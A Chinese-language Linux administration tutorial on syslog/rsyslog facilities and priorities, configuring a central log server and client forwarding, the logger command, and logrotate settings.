authpriv.* /var/log/secure
mail.info -/var/log/maillog
cron.* /var/log/cron
好了,接下来我们分成三个部分来解释这几信息的含义.
[服务名称]
syslog 本身有设置一些服务,你可以通过这些服务来存储系统信息,syslog 涉及的服务主要有以下这些:
服 务 类 型 | 说 明 |
---|---|
auth(authpriv) | 与认证有关的机制,例如 login,ssh,su 等需要账号密码 |
cron | 例行工作调度,cron/at 等生成信息日志的地方 |
daemon | 与这个 daemon 有关的信息 |
kern | 内核产生的信息 |
lpr | 打印相关的信息 |
只要与邮件有关的信息都记录在这里 | |
news | 与新闻组服务器有关的东西 |
syslog | syslogd 本身生成的信息 |
user,uucp,local0-local7 | 与 Unix-Like 机器本身有关的一些信息 |
对配置文件的几点说明:
● 日志类型和优先级由点号 (.) 分开,例如 kern.debug 表示由内核产生的调试信息
● kern.debug 的优先级大于 debug
● 星号 (*) 表示所有,例如 .debug 表示所有类型的调试信息,kern. 表示由内核产生的所有消息
● 可以使用逗号 (,) 分隔多个日志类型,使用分号 (;) 分隔多个选择器
对日志的操作包括:
● 将日志输出到文件,例如 /var/log/maillog 或 /dev/console
● 将消息发送给用户,多个用户用逗号 (,) 分隔,例如 root,amrood
● 通过管道将消息发送给用户程序,注意程序要放在管道符 (|) 后面
● 将消息发送给其他主机上的 syslog 进程,这时 /etc/syslog.conf 文件后面一列为以 @开头的主机名 (IP)
[信息等级]
同一个服务所产生的信息也是有差别的,有启动时仅通知系统而已的一般信息 (information), 有出现还不至于影响到正常运行的警告信息 (warn), 还有系统硬件发生严重错误时,所产生的重大问题信息 (error), 基本上 syslog 将信息分为七个主要的等级,依序是这样的 (由不重要排列到重要信息等级).
等 级 信 息 | 说 明 |
---|---|
debug | 一般调试信息 |
info | 基本通知信息 |
notice | 普通通知信息 |
warning(warn) | 警告信息,但不影响正常使用 |
err(error) | 错误信息,可能影响系统服务 |
crit | 比错误信息还严重的错误信息 |
alert | 警告,比 crit 还严重的警告 |
emerg(panic) | 疼痛等级,系统已经完蛋了 |
* | 代表所有日志等级 |
好了,上面的介绍足够生产环境的使用啦,如果想配置自定义日志位置,我想你能够搞定了.
SYSlog 日志服务器配置
想像一个环境,你的办公室内有一百台 Linux 主机,每一台负责一个网络服务,你为了要了解每台主机的状态,因此你常常需要登陆这一百主机去检查你的日志文件,想想是不是很骚,幸好我们的日志服务可以集中管理,这样我们只需要一台服务器当作日志服务器,其他客户端主动同步数据就好啦,是不是很方便啊.
我们的 RHEL 系统,默认的 syslog 本身就已经具有这个日志文件服务器的功能了,只是默认并没有启动该功能而已,既然是日志服务器那么我们的 Linux 主机当然会启动一个端口来监听了,那个默认的端口就是 UDP 的 514 啊.
◆接收端配置◆
1. 首先编辑日志服务器的配置文件,开启相应的注释,此处既可以使用 TCP 也可以使用 UDP, 两者都可.
[root@localhost ~]# vim /etc/rsyslog.conf
14 # Provides UDP syslog reception
15 $ModLoad imudp #此处我们开启UDP的即可
16 $UDPServerRun 514
17
18 # Provides TCP syslog reception
19 #$ModLoad imtcp
20 #$InputTCPServerRun 514
2. 重启日志服务器,即可配置完成
[root@localhost ~]# systemctl restart rsyslog
[root@localhost ~]# systemctl status rsyslog
● rsyslog.service - System Logging Service
Loaded: loaded (/usr/lib/systemd/system/rsyslog.service; enabled; vendor preset: enabled)
Active: active (running) since Wed 2018-11-28 10:33:26 EST; 6s ago
Docs: man:rsyslogd(8)
http://www.rsyslog.com/doc/
Main PID: 13746 (rsyslogd)
CGroup: /system.slice/rsyslog.service
└─13746 /usr/sbin/rsyslogd -n
通过这个简单的操作,你的 Linux 主机已经可以接收来自其他主机的日志文件了,这里还要进行防火墙的规则放行制定端口,此处略过.
◆发送端配置◆
至于发送端的配置就简单多了,只要指定某个信息传送到这部主机即可,举例来说,我们的日志服务器 IP=192.168.1.10 , 而客户端希望所有的数据都送给主机,我们可以进行一下操作.
1. 修改日志配置文件,添加以下数据,保存退出即可.
90 #*.* @@remote-host:514
91 # ### end of the forwarding rule ###
92
93 *.* @192.168.1.10
注意:可以使用 UDP 用一个@
可以使用 TCP 用两个@@
2. 重启日志工具,即可配置完成
[root@localhost ~]# systemctl restart rsyslog
[root@localhost ~]# systemctl status rsyslog
● rsyslog.service - System Logging Service
Loaded: loaded (/usr/lib/systemd/system/rsyslog.service; enabled; vendor preset: enabled)
Active: active (running) since Wed 2018-11-28 10:33:26 EST; 6s ago
Docs: man:rsyslogd(8)
http://www.rsyslog.com/doc/
Main PID: 13746 (rsyslogd)
CGroup: /system.slice/rsyslog.service
└─13746 /usr/sbin/rsyslogd -n
SYSlog 日志的轮替功能
syslog 利用的是 daemon 的方式来启动的,当有需求的时候立刻就会被运行的,但是 logrotate 却是在规定的时间到了之后才来进行日志文件的轮替,所以这个 logrotate 程序当然就是挂在 cron 底下进行的,仔细看一下 /etc/cron.daily/ 里面的文件,/etc/cron.daily/logrotate 就是记录了每天要进行的日志文件轮替的行为啦.
一般情况下,日志的轮替会用到两个配置文件,分别是 /etc/logrotate.conf
和 /etc/logrotate.d/
这两个目录,首先我们来看一下,/etc/logrotate.conf
这个文件里的内容吧.
[root@localhost ~]# cat /etc/logrotate.conf
weekly #默认每个礼拜进行轮询
rotate 4 #保留几个日志文件
create #日志文件被重命名,新建日志文件存储
dateext
#compress #压缩轮询后的日志
include /etc/logrotate.d #导入其他日志配置文件
/var/log/wtmp { #针对/var/log/wtmp所设置的参数
monthly #每月轮替
create 0664 root utmp #指定新建文件的权限,以及所有者和所属组
minsize 1M #大于1M后轮询
rotate 1 #仅保留一个wtmp.1而已
}
/var/log/btmp {
missingok
monthly
create 0600 root utmp
rotate 1
}
其他的常用格式如下,我们可以自行自由发挥的.
参 数 信 息 | 说 明 |
---|---|
daily | 每天轮替 |
weekly | 每周轮替 |
monthly | 每月轮替 |
rotate 数字 | 保留日志文件个数 |
compress | 旧日志启用压缩 |
mail address | 轮替时发送邮件提示 |
missingok | 日志不存在忽略警告 |
notifempty | 日志为空不进行轮替 |
minsize 大小 | 日志轮替最小值 |
size 大小 | 多大进行轮替 |
dateext | 使用日期格式后缀 secure-20181010 |
系统自动定期进行日志轮替的原因:
1./etc/cron.daily/ 有一个脚本,每天都会运行,查看是否有符合轮替的日志,然后进行相应处理
2. 我们尝试在 rsyslog 配置文件中添加自己的日志记录,然后并且强制执行轮替,看会不会产生轮替文件
3. 先在配置文件中写入自己的日志轮替规则
4. 强制执行日志轮替 logrotate –vf /etc/logrotate.conf
参考文献:Linux 鸟哥私房菜,Linux 运维之道
Linux 系统日志及日志分析
Linux 系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。
大部分 Linux 发行版默认的日志守护进程为 syslog,位于 /etc/syslog 或 /etc/syslogd,默认配置文件为 /etc/syslog.conf,任何希望生成日志的程序都可以向 syslog 发送信息。
Linux 系统内核和许多程序会产生各种错误信息、警告信息和其他的提示信息,这些信息对管理员了解系统的运行状态是非常有用的,所以应该把它们写到日志文件中去。完成这个过程的程序就是 syslog。syslog 可以根据日志的类别和优先级将日志保存到不同的文件中。例如,为了方便查阅,可以把内核信息与其他信息分开,单独保存到一个独立的日志文件中。默认配置下,日志文件通常都保存在 “/var/log” 目录下。
日志类型
下面是常见的日志类型,但并不是所有的 Linux 发行版都包含这些类型:
类型 | 说明 |
---|---|
auth | 用户认证时产生的日志,如 login 命令、su 命令。 |
authpriv | 与 auth 类似,但是只能被特定用户查看。 |
console | 针对系统控制台的消息。 |
cron | 系统定期执行计划任务时产生的日志。 |
daemon | 某些守护进程产生的日志。 |
ftp | FTP 服务。 |
kern | 系统内核消息。 |
local0.local7 | 由自定义程序使用。 |
lpr | 与打印机活动有关。 |
邮件日志。 | |
mark | 产生时间戳。系统每隔一段时间向日志文件中输出当前时间,每行的格式类似于 May 26 11:17:09 rs2 -- MARK --,可以由此推断系统发生故障的大概时间。 |
news | 网络新闻传输协议 (nntp) 产生的消息。 |
ntp | 网络时间协议 (ntp) 产生的消息。 |
user | 用户进程。 |
uucp | UUCP 子系统。 |
日志优先级
常见的日志优先级请见下标:
优先级 | 说明 |
---|---|
emerg | 紧急情况,系统不可用(例如系统崩溃),一般会通知所有用户。 |
alert | 需要立即修复,例如系统数据库损坏。 |
crit | 危险情况,例如硬盘错误,可能会阻碍程序的部分功能。 |
err | 一般错误消息。 |
warning | 警告。 |
notice | 不是错误,但是可能需要处理。 |
info | 通用性消息,一般用来提供有用信息。 |
debug | 调试程序产生的信息。 |
none | 没有优先级,不记录任何日志消息。 |
常见日志文件
所有的系统应用都会在 /var/log 目录下创建日志文件,或创建子目录再创建日志文件。例如:
文件 / 目录 | 说明 |
---|---|
/var/log/boot.log | 开启或重启日志。 |
/var/log/cron | 计划任务日志 |
/var/log/maillog | 邮件日志。 |
/var/log/messages | 该日志文件是许多进程日志文件的汇总,从该文件可以看出任何入侵企图或成功的入侵。 |
/var/log/httpd 目录 | Apache HTTP 服务日志。 |
/var/log/samba 目录 | samba 软件日志 |
/etc/syslog.conf 文件
/etc/syslog.conf 是 syslog 的配置文件,会根据日志类型和优先级来决定将日志保存到何处。典型的 syslog.conf 文件格式如下所示:
*.err;kern.debug;auth.notice /dev/console
daemon,auth.notice /var/log/messages
lpr.info /var/log/lpr.log
mail.* /var/log/mail.log
ftp.* /var/log/ftp.log
auth.* @see.xidian.edu.cn
auth.* root,amrood
netinfo.err /var/log/netinfo.log
install.* /var/log/install.log
*.emerg *
*.alert |program_name
mark.* /dev/console
第一列为日志类型和日志优先级的组合,每个类型和优先级的组合称为一个选择器;后面一列为保存日志的文件、服务器,或输出日志的终端。syslog 进程根据选择器决定如何操作日志。
对配置文件的几点说明:
- 日志类型和优先级由点号 (.) 分开,例如 kern.debug 表示由内核产生的调试信息。
- kern.debug 的优先级大于 debug。
- 星号 (*) 表示所有,例如 *.debug 表示所有类型的调试信息,kern.* 表示由内核产生的所有消息。
- 可以使用逗号 (,) 分隔多个日志类型,使用分号 (;) 分隔多个选择器。
对日志的操作包括:
- 将日志输出到文件,例如 /var/log/maillog 或 /dev/console。
- 将消息发送给用户,多个用户用逗号 (,) 分隔,例如 root, amrood。
- 通过管道将消息发送给用户程序,注意程序要放在管道符 (|) 后面。
- 将消息发送给其他主机上的 syslog 进程,这时 /etc/syslog.conf 文件后面一列为以 @开头的主机名,例如 @see.xidian.edu.cn。
logger 命令
logger 是 Shell 命令,可以通过该命令使用 syslog 的系统日志模块,还可以从命令行直接向系统日志文件写入一行信息。
logger 命令的语法为:
logger [-i] [-f filename] [-p priority] [-t tag] [message...]
每个选项的含义如下:
选项 | 说明 |
---|---|
-f filename | 将 filename 文件的内容作为日志。 |
-i | 每行都记录 logger 进程的 ID。 |
-p priority | 指定优先级;优先级必须是形如 facility.priority 的完整的选择器,默认优先级为 user.notice。 |
-t tag | 使用指定的标签标记每一个记录行。 |
message | 要写入的日志内容,多条日志以空格为分隔;如果没有指定日志内容,并且 -f filename 选项为空,那么会把标准输入作为日志内容。 |
例如,将 ping 命令的结果写入日志:
$ ping 192.168.0.1 | logger -it logger_test -p local3.notice&
$ tail -f /var/log/userlog
Oct 6 12:48:43 kevein logger_test[22484]: PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
Oct 6 12:48:43 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=1 ttl=253 time=49.7 ms
Oct 6 12:48:44 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=2 ttl=253 time=68.4 ms
Oct 6 12:48:45 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=3 ttl=253 time=315 ms
Oct 6 12:48:46 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=4 ttl=253 time=279 ms
Oct 6 12:48:47 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=5 ttl=253 time=347 ms
Oct 6 12:48:49 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=6 ttl=253 time=701 ms
Oct 6 12:48:50 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=7 ttl=253 time=591 ms
Oct 6 12:48:51 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=8 ttl=253 time=592 ms
Oct 6 12:48:52 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=9 ttl=253 time=611 ms
Oct 6 12:48:53 kevein logger_test[22484]: 64 bytes from 192.168.0.1: icmp_seq=10 ttl=253 time=931 ms
ping 命令的结果成功输出到 /var/log/userlog 文件。
命令 logger -it logger_test -p local3.notice 各选项的含义:
- -i:在每行都记录进程 ID;
- -t logger_test:每行记录都加上 “logger_test” 这个标签;
- -p local3.notice:设置日志类型和优先级。
日志转储
日志转储也叫日志回卷或日志轮转。Linux 中的日志通常增长很快,会占用大量硬盘空间,需要在日志文件达到指定大小时分开存储。
syslog 只负责接收日志并保存到相应的文件,但不会对日志文件进行管理,因此经常会造成日志文件过大,尤其是 WEB 服务器,轻易就能超过 1G,给检索带来困难。
大多数 Linux 发行版使用 logrotate 或 newsyslog 对日志进行管理。logrotate 程序不但可以压缩日志文件,减少存储空间,还可以将日志发送到指定 E-mail,方便管理员及时查看日志。
例如,规定邮件日志 /var/log/maillog 超过 1G 时转储,每周一次,那么每隔一周 logrotate 进程就会检查 /var/log/maillog 文件的大小:
- 如果没有超过 1G,不进行任何操作。
- 如果在 1G~2G 之间,就会创建新文件 /var/log/maillog.1,并将多出的 1G 日志转移到该文件,以给 /var/log/maillog 文件瘦身。
- 如果在 2G~3G 之间,会继续创建新文件 /var/log/maillog.2,并将 /var/log/maillog.1 的内容转移到该文件,将 /var/log/maillog 的内容转移到 /var/log/maillog.1,以保持 /var/log/maillog 文件不超过 1G。
可以看到,每次转存都会创建一个新文件(如果不存在),命名格式为日志文件名加一个数字(从 1 开始自动增长),以保持当前日志文件和转存后的日志文件不超过指定大小。
logrotate 的主要配置文件是 /etc/logrotate.conf,/etc/logrotate.d 目录是对 /etc/logrotate.conf 的补充,或者说为了不使 /etc/logrotate.conf 过大而设置。
可以通过 cat 命令查看它的内容:
$cat /etc/logrotate.conf
# see "man logrotate" for details //可以查看帮助文档
# rotate log files weekly
weekly //设置每周转储一次
# keep 4 weeks worth of backlogs
rotate 4 //最多转储4次
# create new (empty) log files after rotating old ones
create //当转储后文件不存储时创建它
# uncomment this if you want your log files compressed
#compress //以压缩方式转储
# RPM packages drop log rotation information into this directory
include /etc/logrotate.d //其他日志文件的转储方式,包含在该目录下
# no packages own wtmp -- we''ll rotate them here
/var/log/wtmp { //设置/var/log/wtmp日志文件的转储参数
monthly //每月转储
create 0664 root utmp //转储后文件不存在时创建它,文件所有者为root,所属组为utmp,对应的权限为0664
rotate 1 //最多转储一次
}
注意:include 允许管理员把多个分散的文件集中到一个,类似于 C 语言的 #include,将其他文件的内容包含进当前文件。
include 非常有用,一些程序会把转储日志的配置文件放在 /etc/logrotate.d 目录,这些配置文件会覆盖或增加 /etc/logrotate.conf 的配置项,如果没有指定相关配置,那么采用 /etc/logrotate.conf 的默认配置。
所以,建议将 /etc/logrotate.conf 作为默认配置文件,第三方程序在 /etc/logrotate.d 目录下自定义配置文件。
logrotate 也可以作为命令直接运行来修改配置文件。
关于linux系统安全日志分析和linux 安全日志的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于ATT&CK矩阵 linux系统安全实践、Linux 系统故障分析与排查 -- 日志分析、Linux 系统日志分析与管理、Linux 系统日志及日志分析等相关知识的信息别忘了在本站进行查找喔。
本文标签: